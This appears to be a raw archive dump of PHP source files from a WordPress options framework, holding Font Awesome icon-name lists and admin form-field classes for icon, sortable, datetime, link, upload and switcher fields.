fa-unity','fas fa-universal-access','fas fa-university','fas fa-unlink','fas fa-unlock','fas fa-unlock-alt','fab fa-unsplash','fab fa-untappd','fas fa-upload','fab fa-ups','fab fa-usb','fas fa-user','far fa-user','fas fa-user-alt','fas fa-user-alt-slash','fas fa-user-astronaut','fas fa-user-check','fas fa-user-circle','far fa-user-circle','fas fa-user-clock','fas fa-user-cog','fas fa-user-edit','fas fa-user-friends','fas fa-user-graduate','fas fa-user-injured','fas fa-user-lock','fas fa-user-md','fas fa-user-minus','fas fa-user-ninja','fas fa-user-nurse','fas fa-user-plus','fas fa-user-secret','fas fa-user-shield','fas fa-user-slash','fas fa-user-tag','fas fa-user-tie','fas fa-user-times','fas fa-users','fas fa-users-cog','fas fa-users-slash','fab fa-usps','fab fa-ussunnah','fas fa-utensil-spoon','fas fa-utensils','fab fa-vaadin','fas fa-vector-square','fas fa-venus','fas fa-venus-double','fas fa-venus-mars','fas fa-vest','fas fa-vest-patches','fab fa-viacoin','fab fa-viadeo','fab fa-viadeo-square','fas fa-vial','fas fa-vials','fab fa-viber','fas fa-video','fas fa-video-slash','fas fa-vihara','fab fa-vimeo','fab fa-vimeo-square','fab fa-vimeo-v','fab fa-vine','fas fa-virus','fas fa-virus-slash','fas fa-viruses','fab fa-vk','fab fa-vnv','fas fa-voicemail','fas fa-volleyball-ball','fas fa-volume-down','fas fa-volume-mute','fas fa-volume-off','fas fa-volume-up','fas fa-vote-yea','fas fa-vr-cardboard','fab fa-vuejs','fas fa-walking','fas fa-wallet','fas fa-warehouse','fab fa-watchman-monitoring','fas fa-water','fas fa-wave-square','fab fa-waze','fab fa-weebly','fab fa-weibo','fas fa-weight','fas fa-weight-hanging','fab fa-weixin','fab fa-whatsapp','fab fa-whatsapp-square','fas fa-wheelchair','fab fa-whmcs','fas fa-wifi','fab fa-wikipedia-w','fas fa-wind','fas fa-window-close','far fa-window-close','fas fa-window-maximize','far fa-window-maximize','fas fa-window-minimize','far fa-window-minimize','fas fa-window-restore','far fa-window-restore','fab fa-windows','fas fa-wine-bottle','fas fa-wine-glass','fas fa-wine-glass-alt','fab fa-wix','fab fa-wizards-of-the-coast','fab fa-wodu','fab fa-wolf-pack-battalion','fas fa-won-sign','fab fa-wordpress','fab fa-wordpress-simple','fab fa-wpbeginner','fab fa-wpexplorer','fab fa-wpforms','fab fa-wpressr','fas fa-wrench','fas fa-x-ray','fab fa-xbox','fab fa-xing','fab fa-xing-square','fab fa-y-combinator','fab fa-yahoo','fab fa-yammer','fab fa-yandex','fab fa-yandex-international','fab fa-yarn','fab fa-yelp','fas fa-yen-sign','fas fa-yin-yang','fab fa-yoast','fab fa-youtube','fab fa-youtube-square','fab fa-zhihu' )
    ) );
  }
}
PK     2w\ Tg1  g1  +  options/framework/fields/icon/fa4-icons.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
//
// Font Awesome 4 Icons
//
if ( ! function_exists( 'csf_get_default_icons' ) ) {
  function csf_get_default_icons() {
    return array( array(
      'title' => 'Font Awesome',
      'icons' => array( 'fa fa-glass','fa fa-music','fa fa-search','fa fa-envelope-o','fa fa-heart','fa fa-star','fa fa-star-o','fa fa-user','fa fa-film','fa fa-th-large','fa fa-th','fa fa-th-list','fa fa-check','fa fa-times','fa fa-search-plus','fa fa-search-minus','fa fa-power-off','fa fa-signal','fa fa-cog','fa fa-trash-o','fa fa-home','fa fa-file-o','fa fa-clock-o','fa fa-road','fa fa-download','fa fa-arrow-circle-o-down','fa fa-arrow-circle-o-up','fa fa-inbox','fa fa-play-circle-o','fa fa-repeat','fa fa-refresh','fa fa-list-alt','fa fa-lock','fa fa-flag','fa fa-headphones','fa fa-volume-off','fa fa-volume-down','fa fa-volume-up','fa fa-qrcode','fa fa-barcode','fa fa-tag','fa fa-tags','fa fa-book','fa fa-bookmark','fa fa-print','fa fa-camera','fa fa-font','fa fa-bold','fa fa-italic','fa fa-text-height','fa fa-text-width','fa fa-align-left','fa fa-align-center','fa fa-align-right','fa fa-align-justify','fa fa-list','fa fa-outdent','fa fa-indent','fa fa-video-camera','fa fa-picture-o','fa fa-pencil','fa fa-map-marker','fa fa-adjust','fa fa-tint','fa fa-pencil-square-o','fa fa-share-square-o','fa fa-check-square-o','fa fa-arrows','fa fa-step-backward','fa fa-fast-backward','fa fa-backward','fa fa-play','fa fa-pause','fa fa-stop','fa fa-forward','fa fa-fast-forward','fa fa-step-forward','fa fa-eject','fa fa-chevron-left','fa fa-chevron-right','fa fa-plus-circle','fa fa-minus-circle','fa fa-times-circle','fa fa-check-circle','fa fa-question-circle','fa fa-info-circle','fa fa-crosshairs','fa fa-times-circle-o','fa fa-check-circle-o','fa fa-ban','fa fa-arrow-left','fa fa-arrow-right','fa fa-arrow-up','fa fa-arrow-down','fa fa-share','fa fa-expand','fa fa-compress','fa fa-plus','fa fa-minus','fa fa-asterisk','fa fa-exclamation-circle','fa fa-gift','fa fa-leaf','fa fa-fire','fa fa-eye','fa fa-eye-slash','fa fa-exclamation-triangle','fa fa-plane','fa fa-calendar','fa fa-random','fa fa-comment','fa fa-magnet','fa fa-chevron-up','fa fa-chevron-down','fa fa-retweet','fa fa-shopping-cart','fa fa-folder','fa fa-folder-open','fa fa-arrows-v','fa fa-arrows-h','fa fa-bar-chart','fa fa-twitter-square','fa fa-facebook-square','fa fa-camera-retro','fa fa-key','fa fa-cogs','fa fa-comments','fa fa-thumbs-o-up','fa fa-thumbs-o-down','fa fa-star-half','fa fa-heart-o','fa fa-sign-out','fa fa-linkedin-square','fa fa-thumb-tack','fa fa-external-link','fa fa-sign-in','fa fa-trophy','fa fa-github-square','fa fa-upload','fa fa-lemon-o','fa fa-phone','fa fa-square-o','fa fa-bookmark-o','fa fa-phone-square','fa fa-twitter','fa fa-facebook','fa fa-github','fa fa-unlock','fa fa-credit-card','fa fa-rss','fa fa-hdd-o','fa fa-bullhorn','fa fa-bell','fa fa-certificate','fa fa-hand-o-right','fa fa-hand-o-left','fa fa-hand-o-up','fa fa-hand-o-down','fa fa-arrow-circle-left','fa fa-arrow-circle-right','fa fa-arrow-circle-up','fa fa-arrow-circle-down','fa fa-globe','fa fa-wrench','fa fa-tasks','fa fa-filter','fa fa-briefcase','fa fa-arrows-alt','fa fa-users','fa fa-link','fa fa-cloud','fa fa-flask','fa fa-scissors','fa fa-files-o','fa fa-paperclip','fa fa-floppy-o','fa fa-square','fa fa-bars','fa fa-list-ul','fa fa-list-ol','fa fa-strikethrough','fa fa-underline','fa fa-table','fa fa-magic','fa fa-truck','fa fa-pinterest','fa fa-pinterest-square','fa fa-google-plus-square','fa fa-google-plus','fa fa-money','fa fa-caret-down','fa fa-caret-up','fa fa-caret-left','fa fa-caret-right','fa fa-columns','fa fa-sort','fa fa-sort-desc','fa fa-sort-asc','fa fa-envelope','fa fa-linkedin','fa fa-undo','fa fa-gavel','fa fa-tachometer','fa fa-comment-o','fa fa-comments-o','fa fa-bolt','fa fa-sitemap','fa fa-umbrella','fa fa-clipboard','fa fa-lightbulb-o','fa fa-exchange','fa fa-cloud-download','fa fa-cloud-upload','fa fa-user-md','fa fa-stethoscope','fa fa-suitcase','fa fa-bell-o','fa fa-coffee','fa fa-cutlery','fa fa-file-text-o','fa fa-building-o','fa fa-hospital-o','fa fa-ambulance','fa fa-medkit','fa fa-fighter-jet','fa fa-beer','fa fa-h-square','fa fa-plus-square','fa fa-angle-double-left','fa fa-angle-double-right','fa fa-angle-double-up','fa fa-angle-double-down','fa fa-angle-left','fa fa-angle-right','fa fa-angle-up','fa fa-angle-down','fa fa-desktop','fa fa-laptop','fa fa-tablet','fa fa-mobile','fa fa-circle-o','fa fa-quote-left','fa fa-quote-right','fa fa-spinner','fa fa-circle','fa fa-reply','fa fa-github-alt','fa fa-folder-o','fa fa-folder-open-o','fa fa-smile-o','fa fa-frown-o','fa fa-meh-o','fa fa-gamepad','fa fa-keyboard-o','fa fa-flag-o','fa fa-flag-checkered','fa fa-terminal','fa fa-code','fa fa-reply-all','fa fa-star-half-o','fa fa-location-arrow','fa fa-crop','fa fa-code-fork','fa fa-chain-broken','fa fa-question','fa fa-info','fa fa-exclamation','fa fa-superscript','fa fa-subscript','fa fa-eraser','fa fa-puzzle-piece','fa fa-microphone','fa fa-microphone-slash','fa fa-shield','fa fa-calendar-o','fa fa-fire-extinguisher','fa fa-rocket','fa fa-maxcdn','fa fa-chevron-circle-left','fa fa-chevron-circle-right','fa fa-chevron-circle-up','fa fa-chevron-circle-down','fa fa-html5','fa fa-css3','fa fa-anchor','fa fa-unlock-alt','fa fa-bullseye','fa fa-ellipsis-h','fa fa-ellipsis-v','fa fa-rss-square','fa fa-play-circle','fa fa-ticket','fa fa-minus-square','fa fa-minus-square-o','fa fa-level-up','fa fa-level-down','fa fa-check-square','fa fa-pencil-square','fa fa-external-link-square','fa fa-share-square','fa fa-compass','fa fa-caret-square-o-down','fa fa-caret-square-o-up','fa fa-caret-square-o-right','fa fa-eur','fa fa-gbp','fa fa-usd','fa fa-inr','fa fa-jpy','fa fa-rub','fa fa-krw','fa fa-btc','fa fa-file','fa fa-file-text','fa fa-sort-alpha-asc','fa fa-sort-alpha-desc','fa fa-sort-amount-asc','fa fa-sort-amount-desc','fa fa-sort-numeric-asc','fa fa-sort-numeric-desc','fa fa-thumbs-up','fa fa-thumbs-down','fa fa-youtube-square','fa fa-youtube','fa fa-xing','fa fa-xing-square','fa fa-youtube-play','fa fa-dropbox','fa fa-stack-overflow','fa fa-instagram','fa fa-flickr','fa fa-adn','fa fa-bitbucket','fa fa-bitbucket-square','fa fa-tumblr','fa fa-tumblr-square','fa fa-long-arrow-down','fa fa-long-arrow-up','fa fa-long-arrow-left','fa fa-long-arrow-right','fa fa-apple','fa fa-windows','fa fa-android','fa fa-linux','fa fa-dribbble','fa fa-skype','fa fa-foursquare','fa fa-trello','fa fa-female','fa fa-male','fa fa-gratipay','fa fa-sun-o','fa fa-moon-o','fa fa-archive','fa fa-bug','fa fa-vk','fa fa-weibo','fa fa-renren','fa fa-pagelines','fa fa-stack-exchange','fa fa-arrow-circle-o-right','fa fa-arrow-circle-o-left','fa fa-caret-square-o-left','fa fa-dot-circle-o','fa fa-wheelchair','fa fa-vimeo-square','fa fa-try','fa fa-plus-square-o','fa fa-space-shuttle','fa fa-slack','fa fa-envelope-square','fa fa-wordpress','fa fa-openid','fa fa-university','fa fa-graduation-cap','fa fa-yahoo','fa fa-google','fa fa-reddit','fa fa-reddit-square','fa fa-stumbleupon-circle','fa fa-stumbleupon','fa fa-delicious','fa fa-digg','fa fa-pied-piper-pp','fa fa-pied-piper-alt','fa fa-drupal','fa fa-joomla','fa fa-language','fa fa-fax','fa fa-building','fa fa-child','fa fa-paw','fa fa-spoon','fa fa-cube','fa fa-cubes','fa fa-behance','fa fa-behance-square','fa fa-steam','fa fa-steam-square','fa fa-recycle','fa fa-car','fa fa-taxi','fa fa-tree','fa fa-spotify','fa fa-deviantart','fa fa-soundcloud','fa fa-database','fa fa-file-pdf-o','fa fa-file-word-o','fa fa-file-excel-o','fa fa-file-powerpoint-o','fa fa-file-image-o','fa fa-file-archive-o','fa fa-file-audio-o','fa fa-file-video-o','fa fa-file-code-o','fa fa-vine','fa fa-codepen','fa fa-jsfiddle','fa fa-life-ring','fa fa-circle-o-notch','fa fa-rebel','fa fa-empire','fa fa-git-square','fa fa-git','fa fa-hacker-news','fa fa-tencent-weibo','fa fa-qq','fa fa-weixin','fa fa-paper-plane','fa fa-paper-plane-o','fa fa-history','fa fa-circle-thin','fa fa-header','fa fa-paragraph','fa fa-sliders','fa fa-share-alt','fa fa-share-alt-square','fa fa-bomb','fa fa-futbol-o','fa fa-tty','fa fa-binoculars','fa fa-plug','fa fa-slideshare','fa fa-twitch','fa fa-yelp','fa fa-newspaper-o','fa fa-wifi','fa fa-calculator','fa fa-paypal','fa fa-google-wallet','fa fa-cc-visa','fa fa-cc-mastercard','fa fa-cc-discover','fa fa-cc-amex','fa fa-cc-paypal','fa fa-cc-stripe','fa fa-bell-slash','fa fa-bell-slash-o','fa fa-trash','fa fa-copyright','fa fa-at','fa fa-eyedropper','fa fa-paint-brush','fa fa-birthday-cake','fa fa-area-chart','fa fa-pie-chart','fa fa-line-chart','fa fa-lastfm','fa fa-lastfm-square','fa fa-toggle-off','fa fa-toggle-on','fa fa-bicycle','fa fa-bus','fa fa-ioxhost','fa fa-angellist','fa fa-cc','fa fa-ils','fa fa-meanpath','fa fa-buysellads','fa fa-connectdevelop','fa fa-dashcube','fa fa-forumbee','fa fa-leanpub','fa fa-sellsy','fa fa-shirtsinbulk','fa fa-simplybuilt','fa fa-skyatlas','fa fa-cart-plus','fa fa-cart-arrow-down','fa fa-diamond','fa fa-ship','fa fa-user-secret','fa fa-motorcycle','fa fa-street-view','fa fa-heartbeat','fa fa-venus','fa fa-mars','fa fa-mercury','fa fa-transgender','fa fa-transgender-alt','fa fa-venus-double','fa fa-mars-double','fa fa-venus-mars','fa fa-mars-stroke','fa fa-mars-stroke-v','fa fa-mars-stroke-h','fa fa-neuter','fa fa-genderless','fa fa-facebook-official','fa fa-pinterest-p','fa fa-whatsapp','fa fa-server','fa fa-user-plus','fa fa-user-times','fa fa-bed','fa fa-viacoin','fa fa-train','fa fa-subway','fa fa-medium','fa fa-y-combinator','fa fa-optin-monster','fa fa-opencart','fa fa-expeditedssl','fa fa-battery-full','fa fa-battery-three-quarters','fa fa-battery-half','fa fa-battery-quarter','fa fa-battery-empty','fa fa-mouse-pointer','fa fa-i-cursor','fa fa-object-group','fa fa-object-ungroup','fa fa-sticky-note','fa fa-sticky-note-o','fa fa-cc-jcb','fa fa-cc-diners-club','fa fa-clone','fa fa-balance-scale','fa fa-hourglass-o','fa fa-hourglass-start','fa fa-hourglass-half','fa fa-hourglass-end','fa fa-hourglass','fa fa-hand-rock-o','fa fa-hand-paper-o','fa fa-hand-scissors-o','fa fa-hand-lizard-o','fa fa-hand-spock-o','fa fa-hand-pointer-o','fa fa-hand-peace-o','fa fa-trademark','fa fa-registered','fa fa-creative-commons','fa fa-gg','fa fa-gg-circle','fa fa-tripadvisor','fa fa-odnoklassniki','fa fa-odnoklassniki-square','fa fa-get-pocket','fa fa-wikipedia-w','fa fa-safari','fa fa-chrome','fa fa-firefox','fa fa-opera','fa fa-internet-explorer','fa fa-television','fa fa-contao','fa fa-500px','fa fa-amazon','fa fa-calendar-plus-o','fa fa-calendar-minus-o','fa fa-calendar-times-o','fa fa-calendar-check-o','fa fa-industry','fa fa-map-pin','fa fa-map-signs','fa fa-map-o','fa fa-map','fa fa-commenting','fa fa-commenting-o','fa fa-houzz','fa fa-vimeo','fa fa-black-tie','fa fa-fonticons','fa fa-reddit-alien','fa fa-edge','fa fa-credit-card-alt','fa fa-codiepie','fa fa-modx','fa fa-fort-awesome','fa fa-usb','fa fa-product-hunt','fa fa-mixcloud','fa fa-scribd','fa fa-pause-circle','fa fa-pause-circle-o','fa fa-stop-circle','fa fa-stop-circle-o','fa fa-shopping-bag','fa fa-shopping-basket','fa fa-hashtag','fa fa-bluetooth','fa fa-bluetooth-b','fa fa-percent','fa fa-gitlab','fa fa-wpbeginner','fa fa-wpforms','fa fa-envira','fa fa-universal-access','fa fa-wheelchair-alt','fa fa-question-circle-o','fa fa-blind','fa fa-audio-description','fa fa-volume-control-phone','fa fa-braille','fa fa-assistive-listening-systems','fa fa-american-sign-language-interpreting','fa fa-deaf','fa fa-glide','fa fa-glide-g','fa fa-sign-language','fa fa-low-vision','fa fa-viadeo','fa fa-viadeo-square','fa fa-snapchat','fa fa-snapchat-ghost','fa fa-snapchat-square','fa fa-pied-piper','fa fa-first-order','fa fa-yoast','fa fa-themeisle','fa fa-google-plus-official','fa fa-font-awesome','fa fa-handshake-o','fa fa-envelope-open','fa fa-envelope-open-o','fa fa-linode','fa fa-address-book','fa fa-address-book-o','fa fa-address-card','fa fa-address-card-o','fa fa-user-circle','fa fa-user-circle-o','fa fa-user-o','fa fa-id-badge','fa fa-id-card','fa fa-id-card-o','fa fa-quora','fa fa-free-code-camp','fa fa-telegram','fa fa-thermometer-full','fa fa-thermometer-three-quarters','fa fa-thermometer-half','fa fa-thermometer-quarter','fa fa-thermometer-empty','fa fa-shower','fa fa-bath','fa fa-podcast','fa fa-window-maximize','fa fa-window-minimize','fa fa-window-restore','fa fa-window-close','fa fa-window-close-o','fa fa-bandcamp','fa fa-grav','fa fa-etsy','fa fa-imdb','fa fa-ravelry','fa fa-eercast','fa fa-microchip','fa fa-snowflake-o','fa fa-superpowers','fa fa-wpexplorer','fa fa-meetup' )
    ) );
  }
}
PK     2w\te
  e
  &  options/framework/fields/icon/icon.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: icon
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_icon' ) ) {
  class CSF_Field_icon extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'button_title' => esc_html__( 'Add Icon', 'csf' ),
        'remove_title' => esc_html__( 'Remove Icon', 'csf' ),
      ) );

      echo $this->field_before();

      $nonce  = wp_create_nonce( 'csf_icon_nonce' );
      $hidden = ( empty( $this->value ) ) ? ' hidden' : '';

      echo '<div class="csf-icon-select">';
      echo '<span class="csf-icon-preview'. esc_attr( $hidden ) .'"><i class="'. esc_attr( $this->value ) .'"></i></span>';
      echo '<a href="#" class="button button-primary csf-icon-add" data-nonce="'. esc_attr( $nonce ) .'">'. $args['button_title'] .'</a>';
      echo '<a href="#" class="button csf-warning-primary csf-icon-remove'. esc_attr( $hidden ) .'">'. $args['remove_title'] .'</a>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'" class="csf-icon-value"'. $this->field_attributes() .' />';
      echo '</div>';

      echo $this->field_after();

    }

    public function enqueue() {
      add_action( 'admin_footer', array( 'CSF_Field_icon', 'add_footer_modal_icon' ) );
      add_action( 'customize_controls_print_footer_scripts', array( 'CSF_Field_icon', 'add_footer_modal_icon' ) );
    }

    public static function add_footer_modal_icon() {
    ?>
      <div id="csf-modal-icon" class="csf-modal csf-modal-icon hidden">
        <div class="csf-modal-table">
          <div class="csf-modal-table-cell">
            <div class="csf-modal-overlay"></div>
            <div class="csf-modal-inner">
              <div class="csf-modal-title">
                <?php esc_html_e( 'Add Icon', 'csf' ); ?>
                <div class="csf-modal-close csf-icon-close"></div>
              </div>
              <div class="csf-modal-header">
                <input type="text" placeholder="<?php esc_html_e( 'Search...', 'csf' ); ?>" class="csf-icon-search" />
              </div>
              <div class="csf-modal-content">
                <div class="csf-modal-loading"><div class="csf-loading"></div></div>
                <div class="csf-modal-load"></div>
              </div>
            </div>
          </div>
        </div>
      </div>
    <?php
    }

  }
}
PK     2w\      "  options/framework/fields/index.phpnu [        <?php // Silence is golden.
PK     2w\T    .  options/framework/fields/sortable/sortable.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: sortable
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_sortable' ) ) {
  class CSF_Field_sortable extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      echo $this->field_before();

      echo '<div class="csf-sortable" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';

      $pre_sortby = array();
      $pre_fields = array();

      // Add array-keys to defined fields for sort by
      foreach ( $this->field['fields'] as $key => $field ) {
        $pre_fields[$field['id']] = $field;
      }

      // Set sort by by saved-value or default-value
      if ( ! empty( $this->value ) ) {

        foreach ( $this->value as $key => $value ) {
          $pre_sortby[$key] = $pre_fields[$key];
        }

        $diff = array_diff_key( $pre_fields, $this->value );

        if( ! empty( $diff ) ) {
          $pre_sortby = array_merge( $pre_sortby, $diff );
        }

      } else {

        foreach ( $pre_fields as $key => $value ) {
          $pre_sortby[$key] = $value;
        }

      }

      foreach ( $pre_sortby as $key => $field ) {

        echo '<div class="csf-sortable-item">';

          echo '<div class="csf-sortable-content">';

          $field_default = ( isset( $this->field['default'][$key] ) ) ? $this->field['default'][$key] : '';
          $field_value   = ( isset( $this->value[$key] ) ) ? $this->value[$key] : $field_default;
          $unique_id     = ( ! empty( $this->unique ) ) ? $this->unique .'['. $this->field['id'] .']' : $this->field['id'];

          CSF::field( $field, $field_value, $unique_id, 'field/sortable' );

          echo '</div>';

          echo '<div class="csf-sortable-helper"><i class="fas fa-arrows-alt"></i></div>';

        echo '</div>';

      }

      echo '</div>';

      echo $this->field_after();

    }

    public function enqueue() {

      if ( ! wp_script_is( 'jquery-ui-sortable' ) ) {
        wp_enqueue_script( 'jquery-ui-sortable' );
      }

    }

  }
}
PK     2w\Јe    .  options/framework/fields/datetime/datetime.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: datetime
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_datetime' ) ) {
  class CSF_Field_datetime extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $defaults = array(
        'allowInput' => true,
      );

      $settings = ( ! empty( $this->field['settings'] ) ) ? $this->field['settings'] : array();

      if ( ! isset( $settings['noCalendar'] ) ) {
        $defaults['dateFormat'] = 'm/d/Y';
      }

      $settings = wp_parse_args( $settings, $defaults );

      echo $this->field_before();

      if ( ! empty( $this->field['from_to'] ) ) {

        $args = wp_parse_args( $this->field, array(
          'text_from' => esc_html__( 'From', 'csf' ),
          'text_to'   => esc_html__( 'To', 'csf' ),
        ) );

        $value = wp_parse_args( $this->value, array(
          'from' => '',
          'to'   => '',
        ) );

        echo '<label class="csf--from">'. esc_attr( $args['text_from'] ) .' <input type="text" name="'. esc_attr( $this->field_name( '[from]' ) ) .'" value="'. esc_attr( $value['from'] ) .'"'. $this->field_attributes() .' data-type="from" /></label>';
        echo '<label class="csf--to">'. esc_attr( $args['text_to'] ) .' <input type="text" name="'. esc_attr( $this->field_name( '[to]' ) ) .'" value="'. esc_attr( $value['to'] ) .'"'. $this->field_attributes() .' data-type="to" /></label>';

      } else {

        echo '<input type="text" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes() .'/>';

      }

      echo '<div class="csf-datetime-settings" data-settings="'. esc_attr( json_encode( $settings ) ) .'"></div>';

      echo $this->field_after();

    }

  }
}
PK     2w\.Q4  4  &  options/framework/fields/link/link.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: link
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_link' ) ) {
  class CSF_Field_link extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'add_title'    => esc_html__( 'Add Link', 'csf' ),
        'edit_title'   => esc_html__( 'Edit Link', 'csf' ),
        'remove_title' => esc_html__( 'Remove Link', 'csf' ),
      ) );

      $default_values = array(
        'url'    => '',
        'text'  => '',
        'target' => '',
      );

      $value = wp_parse_args( $this->value, $default_values );

      $hidden = ( ! empty( $value['url'] ) || ! empty( $value['url'] ) || ! empty( $value['url'] ) ) ? ' hidden' : '';

      $maybe_hidden = ( empty( $hidden ) ) ? ' hidden' : '';

      echo $this->field_before();

      echo '<textarea readonly="readonly" class="csf--link hidden"></textarea>';

      echo '<div class="'. esc_attr( $maybe_hidden ) .'"><div class="csf--result">'. sprintf( '{url:"%s", text:"%s", target:"%s"}', $value['url'], $value['text'], $value['target'] ) .'</div></div>';

      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[url]' ) ) .'" value="'. esc_attr( $value['url'] ) .'"'. $this->field_attributes( array( 'class' => 'csf--url' ) ) .' />';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[text]' ) ) .'" value="'. esc_attr( $value['text'] ) .'" class="csf--text" />';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[target]' ) ) .'" value="'. esc_attr( $value['target'] ) .'" class="csf--target" />';

      echo '<a href="#" class="button button-primary csf--add'. esc_attr( $hidden ) .'">'. $args['add_title'] .'</a> ';
      echo '<a href="#" class="button csf--edit'. esc_attr( $maybe_hidden ) .'">'. $args['edit_title'] .'</a> ';
      echo '<a href="#" class="button csf-warning-primary csf--remove'. esc_attr( $maybe_hidden ) .'">'. $args['remove_title'] .'</a>';

      echo $this->field_after();

    }

    public function enqueue() {

      if ( ! wp_script_is( 'wplink' ) ) {
        wp_enqueue_script( 'wplink' );
      }

      if ( ! wp_script_is( 'jquery-ui-autocomplete' ) ) {
        wp_enqueue_script( 'jquery-ui-autocomplete' );
      }

      add_action( 'admin_print_footer_scripts', array( $this, 'add_wp_link_dialog' ) );

    }

    public function add_wp_link_dialog() {

      if ( ! class_exists( '_WP_Editors' ) ) {
        require_once ABSPATH . WPINC .'/class-wp-editor.php';
      }

      wp_print_styles( 'editor-buttons' );

      _WP_Editors::wp_link_dialog();

    }

  }
}
PK     2w\[k+
  
  *  options/framework/fields/upload/upload.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: upload
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_upload' ) ) {
  class CSF_Field_upload extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'library'        => array(),
        'preview'        => false,
        'preview_width'  => '',
        'preview_height' => '',
        'button_title'   => esc_html__( 'Upload', 'csf' ),
        'remove_title'   => esc_html__( 'Remove', 'csf' ),
      ) );

      echo $this->field_before();

      $library = ( is_array( $args['library'] ) ) ? $args['library'] : array_filter( (array) $args['library'] );
      $library = ( ! empty( $library ) ) ? implode(',', $library ) : '';
      $hidden  = ( empty( $this->value ) ) ? ' hidden' : '';

      if ( ! empty( $args['preview'] ) ) {

        $preview_type   = ( ! empty( $this->value ) ) ? strtolower( substr( strrchr( $this->value, '.' ), 1 ) ) : '';
        $preview_src    = ( ! empty( $preview_type ) && in_array( $preview_type, array( 'jpg', 'jpeg', 'gif', 'png', 'svg', 'webp' ) ) ) ? $this->value : '';
        $preview_width  = ( ! empty( $args['preview_width'] ) ) ? 'max-width:'. esc_attr( $args['preview_width'] ) .'px;' : '';
        $preview_height = ( ! empty( $args['preview_height'] ) ) ? 'max-height:'. esc_attr( $args['preview_height'] ) .'px;' : '';
        $preview_style  = ( ! empty( $preview_width ) || ! empty( $preview_height ) ) ? ' style="'. esc_attr( $preview_width . $preview_height ) .'"': '';
        $preview_hidden = ( empty( $preview_src ) ) ? ' hidden' : '';

        echo '<div class="csf--preview'. esc_attr( $preview_hidden ) .'">';
        echo '<div class="csf-image-preview"'. $preview_style .'>';
        echo '<i class="csf--remove fas fa-times"></i><span><img src="'. esc_url( $preview_src ) .'" class="csf--src" /></span>';
        echo '</div>';
        echo '</div>';

      }

      echo '<div class="csf--wrap">';
      echo '<input type="text" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes() .'/>';
      echo '<a href="#" class="button button-primary csf--button" data-library="'. esc_attr( $library ) .'">'. $args['button_title'] .'</a>';
      echo '<a href="#" class="button button-secondary csf-warning-primary csf--remove'. esc_attr( $hidden ) .'">'. $args['remove_title'] .'</a>';
      echo '</div>';

      echo $this->field_after();

    }
  }
}
PK     2w\F)h
  
  .  options/framework/fields/switcher/switcher.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: switcher
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_switcher' ) ) {
  class CSF_Field_switcher extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $active     = ( ! empty( $this->value ) ) ? ' csf--active' : '';
      $text_on    = ( ! empty( $this->field['text_on'] ) ) ? $this->field['text_on'] : esc_html__( 'On', 'csf' );
      $text_off   = ( ! empty( $this->field['text_off'] ) ) ? $this->field['text_off'] : esc_html__( 'Off', 'csf' );
      $text_width = ( ! empty( $this->field['text_width'] ) ) ? ' style="width: '. esc_attr( $this->field['text_width'] ) .'px;"': '';

      echo $this->field_before();

      echo '<div class="csf--switcher'. esc_attr( $active ) .'"'. $text_width .'>';
      echo '<span class="csf--on">'. esc_attr( $text_on ) .'</span>';
      echo '<span class="csf--off">'. esc_attr( $text_off ) .'</span>';
      echo '<span class="csf--ball"></span>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes() .' />';
      echo '</div>';

      echo ( ! empty( $this->field['label'] ) ) ? '<span class="csf--label">'. esc_attr( $this->field['label'] ) . '</span>' : '';

      echo $this->field_after();

    }

  }
}
PK     2w\|Q%1  1  0  options/framework/fields/wp_editor/wp_editor.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: wp_editor
 *
 * @since 1.0.0
